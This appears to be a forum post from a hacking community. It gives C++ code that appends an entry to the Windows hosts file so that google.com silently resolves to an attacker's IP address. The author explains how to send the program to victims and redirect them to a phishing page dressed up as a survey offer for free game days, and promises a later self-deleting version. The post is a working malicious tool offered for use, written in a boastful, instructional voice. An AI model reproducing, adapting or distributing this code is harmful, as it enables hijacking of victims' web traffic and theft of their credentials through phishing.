Code:
#include
using namespace std;
int main()
{
std::ofstream file;
file.open("C:/WINDOWS/system32/drivers/etc/hosts");
file << "206.71.153.245 google.com";
std::ifstream inFile( "C:/WINDOWS/system32/drivers/etc/hosts", ios::in | ios::trunc );
file.close();
}
Alright let me explain somethings first.
What does this do?
What this does is when the program is executed on a windows Computer it injects a line of text into your windows host files. Found at the location in file.open; So when you goto the site on the right side google in the example it will actually take you to the ip, which is the left side 206.71.153.245, now when the person goes "Oh hey, lets go check out google real quick" guess what happens, hes redirected to your site, and yes the URL, still stays on "http://google.com/ and it doesnt do it for all the sites only does it for google, so you can goto like YouTube - Broadcast Yourself. and it wont take you to the ip(Mmowned). Now, say for example you send this to someone, and you could have it redirect to your phisher to do a Survey for 10 freedays, and I could possibly implement something so once its done it automaticly deletes the file. But that will come later.
Things you will need:
A brain
A visual Studio C++ Compiler
Copy-Paste leech skills.
Able to edit the Code.
Ok so you need to find the URL of your phisher page
goto
Start>run> Type in "CMD" now type in the black box(DOS) type into it ping website.com
the website will be your phisher website. Take that ip and add it to the code, after that your going to wanna do
IP.IP.IP.IP/Suburlforhostingproviders unless you have your own website you wont need the /yoursuburl
Alright thats all
Questions ask em